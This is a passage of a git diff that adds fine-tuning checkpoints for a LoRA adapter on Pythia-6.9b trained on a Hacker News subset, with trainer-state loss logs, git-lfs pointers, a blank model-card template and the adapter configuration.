{ + "epoch": 0.4, + "grad_norm": 0.4249051809310913, + "learning_rate": 7.644444444444445e-05, + "loss": 2.4313, + "step": 30 + }, + { + "epoch": 0.4, + "eval_loss": 2.488459825515747, + "eval_runtime": 43.7487, + "eval_samples_per_second": 22.858, + "eval_steps_per_second": 2.857, + "step": 30 + }, + { + "epoch": 0.5333333333333333, + "grad_norm": 0.41083791851997375, + "learning_rate": 7.525925925925926e-05, + "loss": 2.3956, + "step": 40 + }, + { + "epoch": 0.5333333333333333, + "eval_loss": 2.484058380126953, + "eval_runtime": 43.7468, + "eval_samples_per_second": 22.859, + "eval_steps_per_second": 2.857, + "step": 40 + }, + { + "epoch": 0.6666666666666666, + "grad_norm": 0.4243389070034027, + "learning_rate": 7.407407407407409e-05, + "loss": 2.4302, + "step": 50 + }, + { + "epoch": 0.6666666666666666, + "eval_loss": 2.4803571701049805, + "eval_runtime": 43.7346, + "eval_samples_per_second": 22.865, + "eval_steps_per_second": 2.858, + "step": 50 + }, + { + "epoch": 0.8, + "grad_norm": 0.397676944732666, + "learning_rate": 7.28888888888889e-05, + "loss": 2.3347, + "step": 60 + }, + { + "epoch": 0.8, + "eval_loss": 2.476881504058838, + "eval_runtime": 43.8912, + "eval_samples_per_second": 22.784, + "eval_steps_per_second": 2.848, + "step": 60 + }, + { + "epoch": 0.9333333333333333, + "grad_norm": 0.35474804043769836, + "learning_rate": 7.170370370370371e-05, + "loss": 2.4288, + "step": 70 + }, + { + "epoch": 0.9333333333333333, + "eval_loss": 2.4748315811157227, + "eval_runtime": 43.7178, + "eval_samples_per_second": 22.874, + "eval_steps_per_second": 2.859, + "step": 70 + }, + { + "epoch": 1.0666666666666667, + "grad_norm": 0.3500179052352905, + "learning_rate": 7.051851851851853e-05, + "loss": 2.4189, + "step": 80 + }, + { + "epoch": 1.0666666666666667, + "eval_loss": 2.4732604026794434, + "eval_runtime": 43.7328, + "eval_samples_per_second": 22.866, + "eval_steps_per_second": 2.858, + "step": 80 + }, + { + "epoch": 1.2, + "grad_norm": 0.4862900674343109, + "learning_rate": 6.933333333333334e-05, + "loss": 2.3734, + "step": 90 + }, + { + "epoch": 1.2, + "eval_loss": 2.475278377532959, + "eval_runtime": 43.7793, + "eval_samples_per_second": 22.842, + "eval_steps_per_second": 2.855, + "step": 90 + }, + { + "epoch": 1.3333333333333333, + "grad_norm": 0.6158331632614136, + "learning_rate": 6.814814814814815e-05, + "loss": 2.3574, + "step": 100 + }, + { + "epoch": 1.3333333333333333, + "eval_loss": 2.4776110649108887, + "eval_runtime": 43.8278, + "eval_samples_per_second": 22.817, + "eval_steps_per_second": 2.852, + "step": 100 + }, + { + "epoch": 1.4666666666666668, + "grad_norm": 0.6770918965339661, + "learning_rate": 6.696296296296296e-05, + "loss": 2.3454, + "step": 110 + }, + { + "epoch": 1.4666666666666668, + "eval_loss": 2.4802608489990234, + "eval_runtime": 43.7989, + "eval_samples_per_second": 22.832, + "eval_steps_per_second": 2.854, + "step": 110 + }, + { + "epoch": 1.6, + "grad_norm": 0.8334079384803772, + "learning_rate": 6.577777777777777e-05, + "loss": 2.3435, + "step": 120 + }, + { + "epoch": 1.6, + "eval_loss": 2.4808130264282227, + "eval_runtime": 43.7637, + "eval_samples_per_second": 22.85, + "eval_steps_per_second": 2.856, + "step": 120 + }, + { + "epoch": 1.7333333333333334, + "grad_norm": 0.7085514664649963, + "learning_rate": 6.45925925925926e-05, + "loss": 2.2746, + "step": 130 + }, + { + "epoch": 1.7333333333333334, + "eval_loss": 2.481640577316284, + "eval_runtime": 43.8381, + "eval_samples_per_second": 22.811, + "eval_steps_per_second": 2.851, + "step": 130 + }, + { + "epoch": 1.8666666666666667, + "grad_norm": 0.9837716817855835, + "learning_rate": 6.340740740740741e-05, + "loss": 2.3891, + "step": 140 + }, + { + "epoch": 1.8666666666666667, + "eval_loss": 2.482353448867798, + "eval_runtime": 43.7812, + "eval_samples_per_second": 22.841, + "eval_steps_per_second": 2.855, + "step": 140 + }, + { + "epoch": 2.0, + "grad_norm": 0.8127220869064331, + "learning_rate": 6.222222222222223e-05, + "loss": 2.3203, + "step": 150 + }, + { + "epoch": 2.0, + "eval_loss": 2.4834463596343994, + "eval_runtime": 43.7397, + "eval_samples_per_second": 22.863, + "eval_steps_per_second": 2.858, + "step": 150 + }, + { + "epoch": 2.1333333333333333, + "grad_norm": 0.8362072110176086, + "learning_rate": 6.103703703703704e-05, + "loss": 2.1909, + "step": 160 + }, + { + "epoch": 2.1333333333333333, + "eval_loss": 2.503129005432129, + "eval_runtime": 43.7501, + "eval_samples_per_second": 22.857, + "eval_steps_per_second": 2.857, + "step": 160 + }, + { + "epoch": 2.2666666666666666, + "grad_norm": 1.2620470523834229, + "learning_rate": 5.9851851851851855e-05, + "loss": 2.253, + "step": 170 + }, + { + "epoch": 2.2666666666666666, + "eval_loss": 2.524071216583252, + "eval_runtime": 43.733, + "eval_samples_per_second": 22.866, + "eval_steps_per_second": 2.858, + "step": 170 + }, + { + "epoch": 2.4, + "grad_norm": 1.1998324394226074, + "learning_rate": 5.8666666666666665e-05, + "loss": 2.2446, + "step": 180 + }, + { + "epoch": 2.4, + "eval_loss": 2.5290536880493164, + "eval_runtime": 43.7796, + "eval_samples_per_second": 22.842, + "eval_steps_per_second": 2.855, + "step": 180 + }, + { + "epoch": 2.533333333333333, + "grad_norm": 1.202661395072937, + "learning_rate": 5.748148148148149e-05, + "loss": 2.2898, + "step": 190 + }, + { + "epoch": 2.533333333333333, + "eval_loss": 2.5280601978302, + "eval_runtime": 43.7487, + "eval_samples_per_second": 22.858, + "eval_steps_per_second": 2.857, + "step": 190 + }, + { + "epoch": 2.6666666666666665, + "grad_norm": 1.4101752042770386, + "learning_rate": 5.62962962962963e-05, + "loss": 2.1206, + "step": 200 + }, + { + "epoch": 2.6666666666666665, + "eval_loss": 2.5348124504089355, + "eval_runtime": 43.7317, + "eval_samples_per_second": 22.867, + "eval_steps_per_second": 2.858, + "step": 200 + }, + { + "epoch": 2.8, + "grad_norm": 1.4827243089675903, + "learning_rate": 5.511111111111112e-05, + "loss": 2.1736, + "step": 210 + }, + { + "epoch": 2.8, + "eval_loss": 2.5345828533172607, + "eval_runtime": 43.748, + "eval_samples_per_second": 22.858, + "eval_steps_per_second": 2.857, + "step": 210 + }, + { + "epoch": 2.9333333333333336, + "grad_norm": 1.4372262954711914, + "learning_rate": 5.392592592592593e-05, + "loss": 2.2083, + "step": 220 + }, + { + "epoch": 2.9333333333333336, + "eval_loss": 2.534963846206665, + "eval_runtime": 43.7358, + "eval_samples_per_second": 22.865, + "eval_steps_per_second": 2.858, + "step": 220 + }, + { + "epoch": 3.066666666666667, + "grad_norm": 1.3322038650512695, + "learning_rate": 5.274074074074074e-05, + "loss": 2.1604, + "step": 230 + }, + { + "epoch": 3.066666666666667, + "eval_loss": 2.5551891326904297, + "eval_runtime": 43.7474, + "eval_samples_per_second": 22.859, + "eval_steps_per_second": 2.857, + "step": 230 + }, + { + "epoch": 3.2, + "grad_norm": 1.7982910871505737, + "learning_rate": 5.155555555555556e-05, + "loss": 2.0041, + "step": 240 + }, + { + "epoch": 3.2, + "eval_loss": 2.619675874710083, + "eval_runtime": 43.7429, + "eval_samples_per_second": 22.861, + "eval_steps_per_second": 2.858, + "step": 240 + }, + { + "epoch": 3.3333333333333335, + "grad_norm": 2.1107077598571777, + "learning_rate": 5.037037037037037e-05, + "loss": 1.942, + "step": 250 + }, + { + "epoch": 3.3333333333333335, + "eval_loss": 2.6037955284118652, + "eval_runtime": 43.7364, + "eval_samples_per_second": 22.864, + "eval_steps_per_second": 2.858, + "step": 250 + }, + { + "epoch": 3.466666666666667, + "grad_norm": 1.9783029556274414, + "learning_rate": 4.918518518518519e-05, + "loss": 2.0183, + "step": 260 + }, + { + "epoch": 3.466666666666667, + "eval_loss": 2.6220054626464844, + "eval_runtime": 43.7512, + "eval_samples_per_second": 22.857, + "eval_steps_per_second": 2.857, + "step": 260 + }, + { + "epoch": 3.6, + "grad_norm": 1.8481639623641968, + "learning_rate": 4.8e-05, + "loss": 2.0877, + "step": 270 + }, + { + "epoch": 3.6, + "eval_loss": 2.6184496879577637, + "eval_runtime": 43.7386, + "eval_samples_per_second": 22.863, + "eval_steps_per_second": 2.858, + "step": 270 + }, + { + "epoch": 3.7333333333333334, + "grad_norm": 1.8271690607070923, + "learning_rate": 4.681481481481481e-05, + "loss": 2.1139, + "step": 280 + }, + { + "epoch": 3.7333333333333334, + "eval_loss": 2.6199121475219727, + "eval_runtime": 43.7417, + "eval_samples_per_second": 22.861, + "eval_steps_per_second": 2.858, + "step": 280 + }, + { + "epoch": 3.8666666666666667, + "grad_norm": 1.9534505605697632, + "learning_rate": 4.5629629629629636e-05, + "loss": 2.065, + "step": 290 + }, + { + "epoch": 3.8666666666666667, + "eval_loss": 2.623281717300415, + "eval_runtime": 43.7442, + "eval_samples_per_second": 22.86, + "eval_steps_per_second": 2.858, + "step": 290 + }, + { + "epoch": 4.0, + "grad_norm": 1.928299069404602, + "learning_rate": 4.444444444444445e-05, + "loss": 2.0962, + "step": 300 + }, + { + "epoch": 4.0, + "eval_loss": 2.6169235706329346, + "eval_runtime": 43.7502, + "eval_samples_per_second": 22.857, + "eval_steps_per_second": 2.857, + "step": 300 + }, + { + "epoch": 4.133333333333334, + "grad_norm": 2.410632371902466, + "learning_rate": 4.3259259259259264e-05, + "loss": 1.8775, + "step": 310 + }, + { + "epoch": 4.133333333333334, + "eval_loss": 2.709437370300293, + "eval_runtime": 43.8353, + "eval_samples_per_second": 22.813, + "eval_steps_per_second": 2.852, + "step": 310 + }, + { + "epoch": 4.266666666666667, + "grad_norm": 2.781919240951538, + "learning_rate": 4.2074074074074075e-05, + "loss": 1.8813, + "step": 320 + }, + { + "epoch": 4.266666666666667, + "eval_loss": 2.715420722961426, + "eval_runtime": 43.8196, + "eval_samples_per_second": 22.821, + "eval_steps_per_second": 2.853, + "step": 320 + } + ], + "logging_steps": 10, + "max_steps": 675, + "num_input_tokens_seen": 0, + "num_train_epochs": 9, + "save_steps": 10, + "stateful_callbacks": { + "TrainerControl": { + "args": { + "should_epoch_stop": false, + "should_evaluate": false, + "should_log": false, + "should_save": true, + "should_training_stop": false + }, + "attributes": {} + } + }, + "total_flos": 5.24354303557632e+16, + "train_batch_size": 8, + "trial_name": null, + "trial_params": null +} diff --git a/output_ft_more_layers_hackernews_epoch_9_mlp/pythia-6_9b-nonmember-6_9b-epoch-9-pile-full-600-subsets-hackernews-8e-05/checkpoint-320/training_args.bin b/output_ft_more_layers_hackernews_epoch_9_mlp/pythia-6_9b-nonmember-6_9b-epoch-9-pile-full-600-subsets-hackernews-8e-05/checkpoint-320/training_args.bin new file mode 100644 index 0000000000000000000000000000000000000000..1b36d56f3e7bbd7abe2f26b35ff49f9f8148b671 --- /dev/null +++ b/output_ft_more_layers_hackernews_epoch_9_mlp/pythia-6_9b-nonmember-6_9b-epoch-9-pile-full-600-subsets-hackernews-8e-05/checkpoint-320/training_args.bin @@ -0,0 +1,3 @@ +version https://git-lfs.github.com/spec/v1 +oid sha256:cda8e41a408b45a7a6604c90cbebf2f8b1064d9750a6a2900ae126084a84e2d8 +size 4859 diff --git a/output_ft_more_layers_hackernews_epoch_9_mlp/pythia-6_9b-nonmember-6_9b-epoch-9-pile-full-600-subsets-hackernews-8e-05/checkpoint-330/README.md b/output_ft_more_layers_hackernews_epoch_9_mlp/pythia-6_9b-nonmember-6_9b-epoch-9-pile-full-600-subsets-hackernews-8e-05/checkpoint-330/README.md new file mode 100644 index 0000000000000000000000000000000000000000..e255b1d99c1c1d12955d852dc1056813be7ffca0 --- /dev/null +++ b/output_ft_more_layers_hackernews_epoch_9_mlp/pythia-6_9b-nonmember-6_9b-epoch-9-pile-full-600-subsets-hackernews-8e-05/checkpoint-330/README.md @@ -0,0 +1,202 @@ +--- +base_model: /workspace/pythia-6_9b +library_name: peft +--- + +# Model Card for Model ID + + + + + +## Model Details + +### Model Description + + + + + +- **Developed by:** [More Information Needed] +- **Funded by [optional]:** [More Information Needed] +- **Shared by [optional]:** [More Information Needed] +- **Model type:** [More Information Needed] +- **Language(s) (NLP):** [More Information Needed] +- **License:** [More Information Needed] +- **Finetuned from model [optional]:** [More Information Needed] + +### Model Sources [optional] + + + +- **Repository:** [More Information Needed] +- **Paper [optional]:** [More Information Needed] +- **Demo [optional]:** [More Information Needed] + +## Uses + + + +### Direct Use + + + +[More Information Needed] + +### Downstream Use [optional] + + + +[More Information Needed] + +### Out-of-Scope Use + + + +[More Information Needed] + +## Bias, Risks, and Limitations + + + +[More Information Needed] + +### Recommendations + + + +Users (both direct and downstream) should be made aware of the risks, biases and limitations of the model. More information needed for further recommendations. + +## How to Get Started with the Model + +Use the code below to get started with the model. + +[More Information Needed] + +## Training Details + +### Training Data + + + +[More Information Needed] + +### Training Procedure + + + +#### Preprocessing [optional] + +[More Information Needed] + + +#### Training Hyperparameters + +- **Training regime:** [More Information Needed] + +#### Speeds, Sizes, Times [optional] + + + +[More Information Needed] + +## Evaluation + + + +### Testing Data, Factors & Metrics + +#### Testing Data + + + +[More Information Needed] + +#### Factors + + + +[More Information Needed] + +#### Metrics + + + +[More Information Needed] + +### Results + +[More Information Needed] + +#### Summary + + + +## Model Examination [optional] + + + +[More Information Needed] + +## Environmental Impact + + + +Carbon emissions can be estimated using the [Machine Learning Impact calculator](https://mlco2.github.io/impact#compute) presented in [Lacoste et al. (2019)](https://arxiv.org/abs/1910.09700). + +- **Hardware Type:** [More Information Needed] +- **Hours used:** [More Information Needed] +- **Cloud Provider:** [More Information Needed] +- **Compute Region:** [More Information Needed] +- **Carbon Emitted:** [More Information Needed] + +## Technical Specifications [optional] + +### Model Architecture and Objective + +[More Information Needed] + +### Compute Infrastructure + +[More Information Needed] + +#### Hardware + +[More Information Needed] + +#### Software + +[More Information Needed] + +## Citation [optional] + + + +**BibTeX:** + +[More Information Needed] + +**APA:** + +[More Information Needed] + +## Glossary [optional] + + + +[More Information Needed] + +## More Information [optional] + +[More Information Needed] + +## Model Card Authors [optional] + +[More Information Needed] + +## Model Card Contact + +[More Information Needed] +### Framework versions + +- PEFT 0.13.2 \ No newline at end of file diff --git a/output_ft_more_layers_hackernews_epoch_9_mlp/pythia-6_9b-nonmember-6_9b-epoch-9-pile-full-600-subsets-hackernews-8e-05/checkpoint-330/adapter_config.json b/output_ft_more_layers_hackernews_epoch_9_mlp/pythia-6_9b-nonmember-6_9b-epoch-9-pile-full-600-subsets-hackernews-8e-05/checkpoint-330/adapter_config.json new file mode 100644 index 0000000000000000000000000000000000000000..542f584a2a027304327916d01b73120e8cef2575 --- /dev/null +++ b/output_ft_more_layers_hackernews_epoch_9_mlp/pythia-6_9b-nonmember-6_9b-epoch-9-pile-full-600-subsets-hackernews-8e-05/checkpoint-330/adapter_config.json @@ -0,0 +1,31 @@ +{ + "alpha_pattern": {}, + "auto_mapping": null, + "base_model_name_or_path": "/workspace/pythia-6_9b", + "bias": "none", + "fan_in_fan_out": false, + "inference_mode": true, + "init_lora_weights": true, + "layer_replication": null, + "layers_pattern": null, + "layers_to_transform": null, + "loftq_config": {}, + "lora_alpha": 32, + "lora_dropout": 0.1, + "megatron_config": null, + "megatron_core": "megatron.core", + "modules_to_save": null, + "peft_type": "LORA", + "r": 8, + "rank_pattern": {}, + "revision": null, + "target_modules": [ + "dense", + "query_key_value", + "dense_h_to_4h", + "dense_4h_to_h" + ], + "task_type": "CAUSAL_LM", + "use_dora": false, + "use_rslora": false +} \ No newline at end of file diff --git a/output_ft_more_layers_hackernews_epoch_9_mlp/pythia-6_9b-nonmember-6_9b-epoch-9-pile-full-600-subsets-hackernews-8e-05/checkpoint-330/adapter_model.safetensors b/output_ft_more_layers_hackernews_epoch_9_mlp/pythia-6_9b-nonmember-6_9b-epoch-9-pile-full-600-subsets-hackernews-8e-05/checkpoint-330/adapter_model.safetensors new file mode 100644 index 0000000000000000000000000000000000000000..63732c41eca8e73db385eb3106f70a6220b0b767 --- /dev/null +++ b/output_ft_more_layers_hackernews_epoch_9_mlp/pythia-6_9b-nonmember-6_9b-epoch-9-pile-full-600-subsets-hackernews-8e-05/checkpoint-330/adapter_model.safetensors @@ -0,0 +1,3 @@ +version https://git-lfs.github.com/spec/v1 +oid sha256:5dcc4af410caee75a0846e65e4dbb91cccad1708077c73f84b4964705facc2d0 +size 67144544 diff --git a/output_ft_more_layers_hackernews_epoch_9_mlp/pythia-6_9b-nonmember-6_9b-epoch-9-pile-full-600-subsets-hackernews-8e-05/checkpoint-330/optimizer.pt b/output_ft_more_layers_hackernews_epoch_9_mlp/pythia-6_9b-nonmember-6_9b-epoch-9-pile-full-600-subsets-hackernews-8e-05/checkpoint-330/optimizer.pt new file mode 100644 index 0000000000000000000000000000000000000000..722d6e32886d156d3671dd3d03fecf606d3a7153 --- /dev/null +++ b/output_ft_more_layers_hackernews_epoch_9_mlp/pythia-6_9b-nonmember-6_9b-epoch-9-pile-full-600-subsets-hackernews-8e-05/checkpoint-330/optimizer.pt @@ -0,0 +1,3 @@ +version https://git-lfs.github.com/spec/v1 +oid sha256:6327b02540e801ad749b9e77c9a27720a96155ae196d2875ce8c7cc4b806ed89 +size 134432453 diff --git a/output_ft_more_layers_hackernews_epoch_9_mlp/pythia-6_9b-nonmember-6_9b-epoch-9-pile-full-600-subsets-hackernews-8e-05/checkpoint-330/rng_state.pth b/output_ft_more_layers_hackernews_epoch_9_mlp/pythia-6_9b-nonmember-6_9b-epoch-9-pile-full-600-subsets-hackernews-8e-05/checkpoint-330/rng_state.pth new file mode 100644 index 0000000000000000000000000000000000000000..759bff60bd0897427bf9d4410df520d35fd20081 --- /dev/null +++ b/output_ft_more_layers_hackernews_epoch_9_mlp/pythia-6_9b-nonmember-6_9b-epoch-9-pile-full-600-subsets-hackernews-8e-05/checkpoint-330/rng_state.pth @@ -0,0 +1,3 @@ +version https://git-lfs.github.com/spec/v1 +oid sha256:389caf1bb32aae3a751e11d63ffe273f089df59490c4ac6e5883d944b329df0b +size 14575 diff --git a/output_ft_more_layers_hackernews_epoch_9_mlp/pythia-6_9b-nonmember-6_9b-epoch-9-pile-full-600-subsets-hackernews-8e-05/checkpoint-330/scheduler.pt b/output_ft_more_layers_hackernews_epoch_9_mlp/pythia-6_9b-nonmember-6_9b-epoch-9-pile-full-600-subsets-hackernews-8e-05/checkpoint-330/scheduler.pt new file mode 100644 index 0000000000000000000000000000000000000000..2df061fe83adad240544d1899eb2e5e2fb23a555 --- /dev/null +++ b/output_ft_more_layers_hackernews_epoch_9_mlp/pythia-6_9b-nonmember-6_9b-epoch-9-pile-full-600-subsets-hackernews-8e-05/checkpoint-330/scheduler.pt @@ -0,0 +1,3 @@ +version https://git-lfs.github.com/spec/v1 +oid sha256:22b896fe763bef96dfe0d570de4fea5d935b3bf80de3a9b1b2918efca334b093 +size 627 diff --git a/output_ft_more_layers_hackernews_epoch_9_mlp/pythia-6_9b-nonmember-6_9b-epoch-9-pile-full-600-subsets-hackernews-8e-05/checkpoint-330/trainer_state.json b/output_ft_more_layers_hackernews_epoch_9_mlp/pythia-6_9b-nonmember-6_9b-epoch-9-pile-full-600-subsets-hackernews-8e-05/checkpoint-330/trainer_state.json new file mode 100644 index 0000000000000000000000000000000000000000..de8584f62f47f04485db3d74e2fcffd52fb7b6d6 --- /dev/null +++ b/output_ft_more_layers_hackernews_epoch_9_mlp/pythia-6_9b-nonmember-6_9b-epoch-9-pile-full-600-subsets-hackernews-8e-05/checkpoint-330/trainer_state.json @@ -0,0 +1,528 @@ +{ + "best_metric": 2.4732604026794434, + "best_model_checkpoint": "./output_ft_more_layers_hackernews_epoch_9_mlp/pythia-6_9b-nonmember-6_9b-epoch-9-pile-full-600-subsets-hackernews-8e-05/checkpoint-80", + "epoch": 4.4, + "eval_steps": 10, + "global_step": 330, + "is_hyper_param_search": false, + "is_local_process_zero": true, + "is_world_process_zero": true, + "log_history": [ + { + "epoch": 0.13333333333333333, + "grad_norm": 0.37742483615875244, + "learning_rate": 7.881481481481482e-05, + "loss": 2.449, + "step": 10 + }, + { + "epoch": 0.13333333333333333, + "eval_loss": 2.499645471572876, + "eval_runtime": 43.7851, + "eval_samples_per_second": 22.839, + "eval_steps_per_second": 2.855, + "step": 10 + }, + { + "epoch": 0.26666666666666666, + "grad_norm": 0.37197864055633545, + "learning_rate": 7.762962962962963e-05, + "loss": 2.474, + "step": 20 + }, + { + "epoch": 0.26666666666666666, + "eval_loss": 2.4948627948760986, + "eval_runtime": 43.7584, + "eval_samples_per_second": 22.853, + "eval_steps_per_second": 2.857, + "step": 20 + }, + { + "epoch": 0.4, + "grad_norm": 0.4249051809310913, + "learning_rate": 7.644444444444445e-05, + "loss": 2.4313, + "step": 30 + }, + { + "epoch": 0.4, + "eval_loss": 2.488459825515747, + "eval_runtime": 43.7487, + "eval_samples_per_second": 22.858, + "eval_steps_per_second": 2.857, + "step": 30 + }, + { + "epoch": 0.5333333333333333, + "grad_norm": 0.41083791851997375, + "learning_rate": 7.525925925925926e-05, + "loss": 2.3956, + "step": 40 + }, + { + "epoch": 0.5333333333333333, + "eval_loss": 2.484058380126953, + "eval_runtime": 43.7468, + "eval_samples_per_second": 22.859, + "eval_steps_per_second": 2.857, + "step": 40 + }, + { + "epoch": 0.6666666666666666, + "grad_norm": 0.4243389070034027, + "learning_rate": 7.407407407407409e-05, + "loss": 2.4302, + "step": 50 + }, + { + "epoch": 0.6666666666666666, + "eval_loss": 2.4803571701049805, + "eval_runtime": 43.7346, + "eval_samples_per_second": 22.865, + "eval_steps_per_second": 2.858, + "step": 50 + }, + { + "epoch": 0.8, + "grad_norm": 0.397676944732666, + "learning_rate": 7.28888888888889e-05, + "loss": 2.3347, + "step": 60 + }, + { + "epoch": 0.8, + "eval_loss": 2.476881504058838, + "eval_runtime": 43.8912, + "eval_samples_per_second": 22.784, + "eval_steps_per_second": 2.848, + "step": 60 + }, + { + "epoch": 0.9333333333333333, + "grad_norm": 0.35474804043769836, + "learning_rate": 7.170370370370371e-05, + "loss": 2.4288, + "step": 70 + }, + { + "epoch": 0.9333333333333333, + "eval_loss": 2.4748315811157227, + "eval_runtime": 43.7178, + "eval_samples_per_second": 22.874, + "eval_steps_per_second": 2.859, + "step": 70 + }, + { + "epoch": 1.0666666666666667, + "grad_norm": 0.3500179052352905, + "learning_rate": 7.051851851851853e-05, + "loss": 2.4189, + "step": 80 + }, + { + "epoch": 1.0666666666666667, + "eval_loss": 2.4732604026794434, + "eval_runtime": 43.7328, + "eval_samples_per_second": 22.866, + "eval_steps_per_second": 2.858, + "step": 80 + }, + { + "epoch": 1.2, + "grad_norm": 0.4862900674343109, + "learning_rate": 6.933333333333334e-05, + "loss": 2.3734, + "step": 90 + }, + { + "epoch": 1.2, + "eval_loss": 2.475278377532959, + "eval_runtime": 43.7793, + "eval_samples_per_second": 22.842, + "eval_steps_per_second": 2.855, + "step": 90 + }, + { + "epoch": 1.3333333333333333, + "grad_norm": 0.6158331632614136, + "learning_rate": 6.814814814814815e-05, + "loss": 2.3574, + "step": 100 + }, + { + "epoch": 1.3333333333333333, + "eval_loss": 2.4776110649108887, + "eval_runtime": 43.8278, + "eval_samples_per_second": 22.817, + "eval_steps_per_second": 2.852, + "step": 100 + }, + { + "epoch": 1.4666666666666668, + "grad_norm": 0.6770918965339661, + "learning_rate": 6.696296296296296e-05, + "loss": 2.3454, + "step": 110 + }, + { + "epoch": 1.4666666666666668, + "eval_loss": 2.4802608489990234, + "eval_runtime": 43.7989, + "eval_samples_per_second": 22.832, + "eval_steps_per_second": 2.854, + "step": 110 + }, + { + "epoch": 1.6, + "grad_norm": 0.8334079384803772, + "learning_rate": 6.577777777777777e-05, + "loss": 2.3435, + "step": 120 + }, + { + "epoch": 1.6, + "eval_loss": 2.4808130264282227, + "eval_runtime": 43.7637, + "eval_samples_per_second": 22.85, + "eval_steps_per_second": 2.856, + "step": 120 + }, + { + "epoch": 1.7333333333333334, + "grad_norm": 0.7085514664649963, + "learning_rate": 6.45925925925926e-05, + "loss": 2.2746, + "step": 130 + }, + { + "epoch": 1.7333333333333334, + "eval_loss": 2.481640577316284, + "eval_runtime": 43.8381, + "eval_samples_per_second": 22.811, + "eval_steps_per_second": 2.851, + "step": 130 + }, + { + "epoch": 1.8666666666666667, + "grad_norm": 0.9837716817855835, + "learning_rate": 6.340740740740741e-05, + "loss": 2.3891, + "step": 140 + }, + { + "epoch": 1.8666666666666667, + "eval_loss": 2.482353448867798, + "eval_runtime": 43.7812, + "eval_samples_per_second": 22.841, + "eval_steps_per_second": 2.855, + "step": 140 + }, + { + "epoch": 2.0, + "grad_norm": 0.8127220869064331, + "learning_rate": 6.222222222222223e-05, + "loss": 2.3203, + "step": 150 + }, + { + "epoch": 2.0, + "eval_loss": 2.4834463596343994, + "eval_runtime": 43.7397, + "eval_samples_per_second": 22.863, + "eval_steps_per_second": 2.858, + "step": 150 + }, + { + "epoch": 2.1333333333333333, + "grad_norm": 0.8362072110176086, + "learning_rate": 6.103703703703704e-05, + "loss": 2.1909, + "step": 160 + }, + { + "epoch": 2.1333333333333333, + "eval_loss": 2.503129005432129, + "eval_runtime": 43.7501, + "eval_samples_per_second": 22.857, + "eval_steps_per_second": 2.857, + "step": 160 + }, + { + "epoch": 2.2666666666666666, + "grad_norm": 1.2620470523834229, + "learning_rate": 5.9851851851851855e-05, + "loss": 2.253, + "step": 170 + }, + { + "epoch": 2.2666666666666666, + "eval_loss": 2.524071216583252, + "eval_runtime": 43.733, + "eval_samples_per_second": 22.866, + "eval_steps_per_second": 2.858, + "step": 170 + }, + { + "epoch": 2.4, + "grad_norm": 1.1998324394226074, + "learning_rate": 5.8666666666666665e-05, + "loss": 2.2446, + "step": 180 + }, + { + "epoch": 2.4, + "eval_loss": 2.5290536880493164, + "eval_runtime": 43.7796, + "eval_samples_per_second": 22.842, + "eval_steps_per_second": 2.855, + "step": 180 + }, + { + "epoch": 2.533333333333333, + "grad_norm": 1.202661395072937, + "learning_rate": 5.748148148148149e-05, + "loss": 2.2898, + "step": 190 + }, + { + "epoch": 2.533333333333333, + "eval_loss": 2.5280601978302, + "eval_runtime": 43.7487, + "eval_samples_per_second": 22.858, + "eval_steps_per_second": 2.857, + "step": 190 + }, + { + "epoch": 2.6666666666666665, + "grad_norm": 1.4101752042770386, + "learning_rate": 5.62962962962963e-05, + "loss": 2.1206, + "step": 200 + }, + { + "epoch": 2.6666666666666665, + "eval_loss": 2.5348124504089355, + "eval_runtime": 43.7317, + "eval_samples_per_second": 22.867, + "eval_steps_per_second": 2.858, + "step": 200 + }, + { + "epoch": 2.8, + "grad_norm": 1.4827243089675903, + "learning_rate": 5.511111111111112e-05, + "loss": 2.1736, + "step": 210 + }, + { + "epoch": 2.8, + "eval_loss": 2.5345828533172607, + "eval_runtime": 43.748, + "eval_samples_per_second": 22.858, + "eval_steps_per_second": 2.857, + "step": 210 + }, + { + "epoch": 2.9333333333333336, + "grad_norm": 1.4372262954711914, + "learning_rate": 5.392592592592593e-05, + "loss": 2.2083, + "step": 220 + }, + { + "epoch": 2.9333333333333336, + "eval_loss": 2.534963846206665, + "eval_runtime": 43.7358, + "eval_samples_per_second": 22.865, + "eval_steps_per_second": 2.858, + "step": 220 + }, + { + "epoch": 3.066666666666667, + "grad_norm": 1.3322038650512695, + "learning_rate": 5.274074074074074e-05, + "loss": 2.1604, + "step": 230 + }, + { + "epoch": 3.066666666666667, + "eval_loss": 2.5551891326904297, + "eval_runtime": 43.7474, + "eval_samples_per_second": 22.859, + "eval_steps_per_second": 2.857, + "step": 230 + }, + { + "epoch": 3.2, + "grad_norm": 1.7982910871505737, + "learning_rate": 5.155555555555556e-05, + "loss": 2.0041, + "step": 240 + }, + { + "epoch": 3.2, + "eval_loss": 2.619675874710083, + "eval_runtime": 43.7429, + "eval_samples_per_second": 22.861, + "eval_steps_per_second": 2.858, + "step": 240 + }, + { + "epoch": 3.3333333333333335, + "grad_norm": 2.1107077598571777, + "learning_rate": 5.037037037037037e-05, + "loss": 1.942, + "step": 250 + }, + { + "epoch": 3.3333333333333335, + "eval_loss": 2.6037955284118652, + "eval_runtime": 43.7364, + "eval_samples_per_second": 22.864, + "eval_steps_per_second": 2.858, + "step": 250 + }, + { + "epoch": 3.466666666666667, + "grad_norm": 1.9783029556274414, + "learning_rate": 4.918518518518519e-05, + "loss": 2.0183, + "step": 260 + }, + { + "epoch": 3.466666666666667, + "eval_loss": 2.6220054626464844, + "eval_runtime": 43.7512, + "eval_samples_per_second": 22.857, + "eval_steps_per_second": 2.857, + "step": 260 + }, + { + "epoch": 3.6, + "grad_norm": 1.8481639623641968, + "learning_rate": 4.8e-05, + "loss": 2.0877, + "step": 270 + }, + { + "epoch": 3.6, + "eval_loss": 2.6184496879577637, + "eval_runtime": 43.7386, + "eval_samples_per_second": 22.863, + "eval_steps_per_second": 2.858, + "step": 270 + }, + { + "epoch": 3.7333333333333334, + "grad_norm": 1.8271690607070923, + "learning_rate": 4.681481481481481e-05, + "loss": 2.1139, + "step": 280 + }, + { + "epoch": 3.7333333333333334, + "eval_loss": 2.6199121475219727, + "eval_runtime": 43.7417, + "eval_samples_per_second": 22.861, + "eval_steps_per_second": 2.858, + "step": 280 + }, + { + "epoch": 3.8666666666666667, + "grad_norm": 1.9534505605697632, + "learning_rate": 4.5629629629629636e-05, + "loss": 2.065, + "step": 290 + }, + { + "epoch": 3.8666666666666667, + "eval_loss": 2.623281717300415, + "eval_runtime": 43.7442, + "eval_samples_per_second": 22.86, + "eval_steps_per_second": 2.858, + "step": 290 + }, + { + "epoch": 4.0, + "grad_norm": 1.928299069404602, + "learning_rate": 4.444444444444445e-05, + "loss": 